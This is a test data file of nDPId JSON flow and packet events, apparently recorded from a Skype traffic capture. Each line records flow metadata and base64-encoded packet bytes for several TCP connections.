+00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2016,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":267,"flow_packet_id":1,"flow_first_seen":1431970703073,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":51315,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":267,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2016,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":73232,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA2zBAAEAGwPfAqAEi1KEIJMhzNFD26tn9AAAAALAC\/\/\/8RgAAAgQFtAEDAwUBAQgKPjKQRwAAAAAEAgAA"} +00450{"flow_id":267,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2017,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":145740,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADQGqCzUoQgkwKgBIjRQyHPVGwsc9urZ\/qASOJBaugAAAgQFrAQCCAo\/nFogPjKQRwEDAwk="} +00437{"flow_id":267,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2018,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":145844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0QUdAAEAGWu3AqAEi1KEIJMhzNFD26tn+1RsLHYAQECyxnAAAAQEICj4ykI8\/nFog"} +00445{"flow_id":267,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2019,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":145966,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5quhAAEAG8UbAqAEi1KEIJMhzNFD26tn+1RsLHYAYECyajAAAAQEICj4ykI8\/nFogFgMBAAA="} +00437{"flow_id":241,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2020,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":163783,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA09MFAAHIGkWIF+LrdwKgBInkiyFqd8prj5tme0IAQQ65MeAAAAQEICgAAlYo+MpA8"} +00430{"flow_id":253,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2024,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":178433,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"PBXCt3IO0NQSxnP1CABFCAAt0n1AADYGfD9bvth9wKgBIjA+yGMdRKLwE5tzEFAYA\/9ePQAAFwMBAAAA"} +00421{"flow_id":253,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2025,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":178547,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFCAAowOFAAEAGg+DAqAEiW77YfchjMD4Tm3MQAAAAAFAEAAA6jQAA"} +00436{"flow_id":267,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2026,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":220309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0US5AADQGVwbUoQgkwKgBIjRQyHPVGwsd9uraA4AQAB3BkwAAAQEICj+cWjM+MpCP"} +00444{"flow_id":267,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2027,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":220316,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFAAA5US9AADQGVwDUoQgkwKgBIjRQyHPVGwsd9uraA4AYAB2pgwAAAQEICj+cWjM+MpCPFwMBAAA="} +00437{"flow_id":267,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2028,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":220447,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0trdAAEAG5XzAqAEi1KEIJMhzNFD26toD1RsLIoAQECuxOAAAAQEICj4ykNc\/nFoz"} +00445{"flow_id":267,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2029,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":220566,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5bqJAAEAGLY3AqAEi1KEIJMhzNFD26toD1RsLIoAYECuaKAAAAQEICj4ykNc\/nFozFgMBAAA="} +00438{"flow_id":265,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2030,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":220773,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0CTFAAEAGkwPAqAEi1KEIJMhxNFBceQ1Aqm6w0IARECnZQAAAAQEICj4ykNc\/pB5a"} +02390{"flow_id":267,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2031,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":221967,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"0NQSxnP1PBXCt3IOCABFAAXUR5lAAEAGTvvAqAEi1KEIJMhzNFD26toI1RsLIoAQECvnXgAAAQEICj4ykNg\/nFozFgMBAP1Cze\/nQNcvHcsYOogrFp5G5mqD+aDR+AWPp4sx+be\/stennqB+se7m6z29VG\/GWpijwKDXmYCyMJ50rWGCQSLb1pyVi+ba9iGM9xUwu1KBo0TRtd+i5hyxhrmXefjagsXwdWr8c3v24AGB9mPDMa5VhcOWMmIwX6DHRFhIUr6WaQoNuOoGkREw2hq5HD5Tj6ZzNUPbuix9xlatrfcGGgASX61FRQxpwbNdTIbUBfSmBOlz9c\/hcaL1IQrcE7jOn\/nTCHcW9b5iFFjU5QfYW\/13zNzyZ2cNa6iWRqhCYiIPdQYgufV4djxS42HCiZWv2IZ8EBm1seGCvZp1UryOFwMBAGVHSI\/CuX7xMeARNSoh2iwXx9ZuOZo0qLnvWp6aq3NIcS970stzX9JvKwkIqisgPe1VzqqFGYuJ5wlaoFgPj+qKdUevLV02Tj5BfkM7bkH4+U9FlkVOanomueezhy4wcvSPrDaOqxcDAQBll3bnoL7vjbLVrl2O0zHbiXoQQxPqr+yjqTIbx4kiCijqnqVF6EzF7VCvcqdRqbw9QkLZj29mPQZ0mt0kDsUaq6Ofm6GP9W6it+MTJ44iHkBWXsDPU9mr2hJ5YdNpr0STpkjjKl4XAwEAZbz7Qaq3MX+dVsBWu2a5v4K5wWE\/tycc\/cvQ+f8llHNyF2vxCSq5tO6dM3Al+Wmi5y92s2psU4Ioq\/HlsJf\/xeCJWJg+gCLtSu8ARQQ1KVqFBxWKU+5oael7O550XmFWPlKPX0coFwMBAGWF\/+fmffNQyArEnAuB5WdtNxfso8\/SllNlQf18KvXDxVLr\/tLl\/mtGWJLSxtW8BUhSh3ShvoZkw1g1DJMa+S9cQ2wd0ORx4TUGsXUamZ2On0fIr4rCcLv2EX4h+qqpPxXbept3VRcDAQBsldCcVVLicg62vE90gUuwkn7sUB9zaRu3zNPYrmrKbVrycw7FrWjTW7XsSXjqExd339FcE\/C6uQshy77cLt8oqE0BQnK+P9vOV9bW4+MlpAxpVjOFQcje84+TdSOfhTk+7rLvtnmcwsNSgQS0FwMBAGVG9m9p1pZNFXMM1RXA8uRP98kkxRncR0KFRIybj2Ts1MSSToi9Rp\/2QhmlvxBM+gspS+HV5yJTLFuVlSZIcvRPFgG7l3N8P6IZysH4Epde8oTM37+fQohAzUdBhSPz+z09tiHV5xcDAQBxjrIzgmJ97cjWyNnkB8gueHV9dyKwpODiGStd8k6RNQ0HyE+4cULPycIZ3fvp+B1ZaTQKhLpT52KQcmjfMkZRCb5R9WGZAStrncEfThBML+rl1ifu5GLqthmF3llc47j0qb1vbN4EFazOf1+isYQQSeIXAwEAZkVr69A0EZnEKyetAfWZJxcARZ93bb1hxGp6rhFLHJ62itOqgXTEEVFEbphmHcSeW3q+pCC\/Jdd8\/yV\/Lq6HrV3NTwqWqEqmqmcI8HJFPU\/1yglFkXX2UA++gV2Y9j56\/kZda5kWLxcDAQBmHHDMA2sXEChxvA9qGASE23VO1CcbwBtnX2coxxNt+0OgjO4bqT4wi4K0FYE2mhDALKHzGIquz7k5Axjv4qQ4XdYtrtM78UQNcoNcIYL3uCmEvYt+WR3m9TAoRudq7YwIueeVCkqkFwMBAGjlM+XzOSVfWyoWny+nlLRJ\/fsEck0rsmwpB52+qnH3+wHngEAnn\/kCrcumNlRf3qKt+F5HbrUWvRPMVjjrJ419ktir9Zh\/L29r5u3yvIu75so8Mtjrux5OsdTe0KxAHZeTSVbKFftGqxcDAQCdz+drbL2X+5Yn\/tEtsoYB75b\/G5ro3mcfxd3zLGqddLxCCGlF7Ou7KIwVyQh3SY83pqUGz6Uq7gN6bxVZUA9YZbryeVIcbnYPAUk3lHkvnZEsO8Q1ypsd8uiZLVPW"} +00528{"flow_id":267,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2032,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":221968,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"0NQSxnP1PBXCt3IOCABFAAB0rgJAAEAG7fHAqAEi1KEIJMhzNFD26t+o1RsLIoAYECuXNwAAAQEICj4ykNg\/nFozOG7uFm2IY8bqXnqTQlWdfMo77o7aRkbgPM+rmtAkbYo68ywUx33aaFIAgh9F22iiOI3hRHsk3euE1EUkQLvOTQ=="} +02401{"flow_id":267,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2033,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":222449,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"0NQSxnP1PBXCt3IOCABFAAXUE7BAAEAGguTAqAEi1KEIJMhzNFD26t\/o1RsLIoAQECuzPwAAAQEICj4ykNg\/nFozFwMBAGZe\/ADEWFIGZfKYyVmp0kS\/KRux2jn+o3TNoZU+Ea8yZi3pHejik7zS2zxQPKcqEUjIvMu3svbhROU5XXAmPzZO+NY80zs2rEl1LJGM3KHFvSP8Qpw\/0s5+Rdm5w2ST9y4eKc8TUckXAwEAZkJr\/JPuoI1SQ5NecUX4DV0G1Wv1Zbly3loG9gz6JbTZc3ILcg7Pcv1ZNVsg4zOZoZ5UbkXgNOCzWkjz5G46RVgnDR0VlCmZ\/kW19mH48AtwDMX8TA3RdXociehCQMYhuidsOaw8qBcDAQHHrDUkH\/5hRgq3jWUt1m\/zLR6S++TCIO0Fm6aaU0QIZBIyBEYGW8hFvzZ+3WF9VjUfLp9ewTg5OOALaveXtrJ33yCPlDqjLaRvZA1tFZkuHaVPGCZw6Zw1GLljNKChjL6cZHzBEpUbza4bSlq3QGb35oFgEOcH8WEHcaohZOLxkCX2VeSOLIfsRD5VNd0L\/8HsV4ImyH0y611BrUIoZOWq1LFdkEnXyn+\/g1y4yD6oPx0n0YHdWzWAfWwF98ytlbg06hgh9CchDj8\/UzGiInw2dck2n+iDbaWabofI9dOKMBRN2ggdQUUgjMhn6JD0Tui1Rp4xZzn0gvjzXkccHcJYNuuP8XsWgqzWCi9N1Sd3ZH24zvWwI8ayZus3zvplepdFaChm6N7DZ0CGoeHp4EBB4geWJtPKhHsQWCQpSInwZJmJMYLyCceN6H8kezBerFM8u\/38AYMsblicg17yPuhLfLPV+yLMhZbgz\/s3G8yeO\/NZW905KshpaldSe\/zMG0351VD6lbHZdCBM5kFeIUCdaS4FCn0kzaN05PJqr3CalDVBcD5GQm277futOfl9Ayzr0TxzX6lCL0LhK\/HjsJtfjl8jczC5pQQXAwEBxZAXEOAprnH0Blmm1RzXaImfzObs0YEsTSURpzM3kZgJEHHyNWFxxeHUmGKhY51fKbSnfo2BUPS4GkNPth4ete6MZ0wrxbxKs2TCjQywG3TFRqptAm8voMKW+V2\/6wRRewxDUCapgUj\/M5F3HDIh\/bVJkcYiXZPLLvwvXzb+tL4\/hc+1hG4m+ywP10\/cXcReaz+tGq0eRHUEAGodvvuKeSRzVU\/3p6yYd\/hkEF3p\/d0WJ6jsLDw2GoSkgwzYipRP92XAXXaIfJT8yHhy+xZfR0EhO\/Oh9EY2I9JDSj83\/6NjIvpNnZ1Bn367vY9MnTcXZ4WNAsPQ4IxzDipT87AVIPyGDhhqrfxcWRxx2TQlpjzm8drqWb+uKzbECYV28aietICuY7x0kcJP57Nx3p4EfLgXtKaQGd8hcQxSiEaC90g9dAVbtLq9\/R0DLA6xLMZ79S0IOlWZRh2jlpQCDWDYL1FZ6nevpNvTp9Gy\/5PEuTpuftmSQYLx2UJmml0jiuOL899mLWkok\/vt8Z2XYy4yu6PZ7kaZdwvbcw\/FhdvnH\/Pm1a7xCtEUYIYTOmvZ8RUTumEJnv6PwZKMDudr16hFs1YHUhqR6hcDAQB9PeWQLlzOKM7kLaAAMrFNjOvH3QDk5SojczjJnpZiIUJvAoGiZePPaRbmTHHhMuUCR3RmsyG43HDhwou3NYWfRxqa\/txWqF+LwcPZ\/VEtN6Hh9UEq9ISZ36XBvzjApUEPqXYtGFPw2M0hTp0OXbunm4X3PcGE\/86LY3ZZaicXAwEAfc+AWdIUcmkVLYLJq5vLXpJsj3991Oq2BMaFKCrsNG8dqutKjbiaj2zdTteSoUapZFHR9NXxzwWz4fPOZcNsbNKrzQYlE25GE52\/WOsLDm724LbS2xZ6kmItnudNJS2O7I0RZtzmA\/ti5oWrh3bimTTrBq3PJM3nG0Myy+mTFwMBAH17MsA6qYQ7\/5sjhgzxsEUbK44zuE4jxQ2Nrs9WUUSL5deBNcrFTfCRCkKL"} +00555{"flow_id":267,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2034,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":222450,"pkt_caplen":148,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":148,"pkt_l4_len":114,"pkt":"0NQSxnP1PBXCt3IOCABFAACGwsxAAEAG2RXAqAEi1KEIJMhzNFD26uWI1RsLIoAYECu3igAAAQEICj4ykNg\/nFoz1JlVstp4FbWCDpuT9eDEH0UTsfIDRNeZf4ej6kkXy3GDlR+eQMXC3dFUmCabAARYbLsLeOMnVIKAUfMMNLX05Gv9Ztiec3MV\/eg4\/B01OPqD3Q=="} +00446{"flow_id":267,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2035,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":294417,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFAAA5UTBAADQGVv\/UoQgkwKgBIjRQyHPVGwsi9uraCIAYAB2pHgAAAQEICj+cWkY+MpDXFwMBAAA="} +02294{"flow_id":267,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2036,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":294544,"pkt_caplen":1430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1430,"pkt_l4_len":1396,"pkt":"0NQSxnP1PBXCt3IOCABFAAWIJH9AAEAGcmHAqAEi1KEIJMhzNFD26uXa1RsLJ4AQECufqAAAAQEICj4ykSA\/nFpGFwMBAH2emAwTmQ9rvyuRYPshlD5VXN61xU8qVsBDqimVy7bagA6WVoj4xto7+pJoPf8q9\/MThVJ\/CSGVFUYUDvAsqsyjyVYuXEu82g2fme+XJTp0uoZCUB+xXWMEIujqNwh4kt7Sc9b+4qqNQ1JVutfrVZwDFohLx2pQDK2as6l4qhcDAQCESHr+Ouz8DIoeistjYmyThkluRO4hgeYgjL\/6VSQO9NeQyeqtr3I7C6CxU7\/bz80Ao2XTn1GWrXdCQSeCuAlWulMmHOhmJ+zNQ3Zf54IxVoFiPOi8l2t6oaRLg\/vFUmR8sjK42LNLPAZwbyuqxAkCRDYpTis10ihzlabdg+tKS8Gj2nh6FwMBAH2FFVQtfrOWvpX6UfvkOcH0q\/YwUCIdm3YJV6lXZRSoGPabr\/yULVOBRU6ZaKTNhGOjbSkiZbzolkjnxbDGz+jy6GOiwVHFhctwUswerSafI5gMsxr6pxbp73zqUQ2ZIGPiSzdrU6\/ChQLyA6I1eSGJUKKj3tAxZjHlK8rMoBcDAQCJI9ClxOaOQ6Iwf63Yn2pJWpgNqPrF+J3gCL9rJSuY\/Tjz5Au1IKTq+KMe6rVzPrQ5XQEdS86LGj54OP+l6x06xQpZ9+ezP5yVN\/15AM6gAPJWkYuG\/CZGdTzvv5ZIamAWfJqEo6XeWrOSClhEJN7j9pP0P\/+1\/oe1ck1hGY\/MwqQFEJbxmxcJhjsXAwEAiaMf01GFTT75Y44IWGLQl4t5u4Gb8T\/o6TMiPUJWDaNvmczqYz2TOibc6XYwiXu2vtWF3a++sCAW3sRcr8bGsyyK0M0WA58aBKaOBTNQ0OrSsTTYznGzOtJnPNzhd4PWWBYTXSBPu7ZOEswhPyTxYGWHQPFhCPZxuAB7DerfkA6TWlJvitSEvocqFwMBAIxEfBXrXebcsnX8GgvI71Zj9G84vpXQRYsy42HLzQcahSnSBMH6LM5X1RI7sD0pCYZYPSO\/hXaEItK5toxkCjftQsdUtbdHMU\/24LUrJ1MIYUWbDHAZ8weUD2pgky8MTV9rcK9cirwgO46LsKn1csvti59GWNkxY3UmGpxJrkOJv6NRnbIn089kGVAadhcDAQB\/\/ZkdRGcuVJkHBPa4OPFr0eBrZE1rxdcqmZYn0LyI4r8lD2lsTWaI3MWTHluohn9gQ1Ng4oboIxfIqejIda4vvDjvP69nBDcxRP84cGHPxT5MzvRWLe5VxNucSiOn32ioICV58RV9Nr7BzZiEZlSD8RrgOjk\/cTvvdKObBYz+lRcDAQB+W5YFIQ5Oo58mBlT\/R0mbvti+9NWkKAQh8eO\/niocDH+xWil6VOrfK\/j4PGbxSRIPbwBKWYw6As5jAGFRPt+ChQwANP\/nWXFT8M3ID+A9Ed9lioePopPWcDHk6I5hKy\/tT1FQiHX5i99K+7mfQ06RlXDLcZWVgUfXA2hq1KuxFwMBAH5tRzS8Mb9fS5qbE\/wh8VUUbFf7Rzfei0gSIoOKZD3Ha9CUtZGlTz+aid0zqYoJxhCa5KoOe0OrACfzM2gCActtw1tJkIUnJhb1JGA6YMUO\/cfi5FQ9EAwj3SaiFZfFC+o6OKAZQ8D93rAOBL3aTHZoMuB4yFBgAeBe9yJvbLUXAwEAflp9recov8SNX49Aqj\/POMXpGV0JFwxX\/6x4dU6j4JFvAmo8e1QIOKG8PY44acCSkZggGvkZGAiZ3Ls7U5RGtwK9eK96bhqiOqKdYrLZW+qWkUrCkRBonPW31joiCrOzExrdfxy5Qwciuow5K+ej7jqiBxTQXJm3ADJn\/X56qRcDAQB9lYIY730xJ9g="} +00437{"flow_id":267,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2037,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":311842,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0UTFAADQGVwPUoQgkwKgBIjRQyHPVGwsn9urf6IAQACK7PwAAAQEICj+cWko+MpDY"} +00450{"flow_id":265,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2045,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":536521,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KntAAEAGcbHAqAEi1KEIJMhxNFBceQ04qm6w0IAZEClvoAAAAQEICj4ykg8\/pB5axn8ujwJhcPA="} +00549{"flow_id":178,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2049,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":649581,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACD5dVAADcG4eVv3UoSwKgBIgG7yEQiaEt5jx1l1IAYAB2\/zAAAAQEICk12y4A+Mh9RFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":178,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2050,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":649700,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo3TpAAEAG4dvAqAEib91KEshEAbuPHWXUAAAAAFAEAAB1NQAA"} +00450{"flow_id":262,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2053,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970703,"pkt_ts_usec":852286,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA84nxAAEAG4VjAqAEilQ0gD8htNFBZKlBIDM1B14AZECmg9AAAAQEICj4yk0g\/iaNOv+3qnuBIGqs="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2056,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":1,"flow_first_seen":1431970704329,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":51316,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":268,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2056,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970704,"pkt_ts_usec":329249,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAHThAAEAGppnAqAEilQ0gD8h0NFB7qA8CAAAAALAC\/\/9lUQAAAgQFtAEDAwUBAQgKPjKVIwAAAAAEAgAA"} +00450{"flow_id":268,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2057,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970704,"pkt_ts_usec":371172,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFCAA8AABAADUGzs2VDSAPwKgBIjRQyHQNAtU7e6gPA6ASOJA1ewAAAgQFrAQCCAo\/gOZ\/PjKVIwEDAwk="} +00438{"flow_id":268,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2058,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970704,"pkt_ts_usec":371294,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0+SJAAEAGyrrAqAEilQ0gD8h0NFB7qA8DDQLVPIAQECyMewAAAQEICj4ylU0\/gOZ\/"} +00547{"flow_id":268,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2059,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970704,"pkt_ts_usec":371828,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"0NQSxnP1PBXCt3IOCABFAACAqrpAAEAGGNfAqAEilQ0gD8h0NFB7qA8DDQLVPIAYECx7oAAAAQEICj4ylU0\/gOZ\/8UaEXBXneHevAJNyzFhvLEJ6g6HbSbNU5RKN3J8l6peYrTLUgLslffn5babqbuDUqcb\/pMUye\/ChXrf8PUqzyJn2b1S1YuugkY4nrA=="} +00450{"flow_id":263,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2060,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970704,"pkt_ts_usec":386918,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8MtxAAEAGCBbAqAEiXU\/gsMhvOKrhhkX0fWkiXIAZECmH5wAAAQEICj4ylVwANM5rAJngurdz24A="} +00436{"flow_id":268,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2061,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970704,"pkt_ts_usec":415564,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFCAA0M7ZAADUGmx+VDSAPwKgBIjRQyHQNAtU8e6gPT4AQAB2cMwAAAQEICj+A5oo+MpVN"} 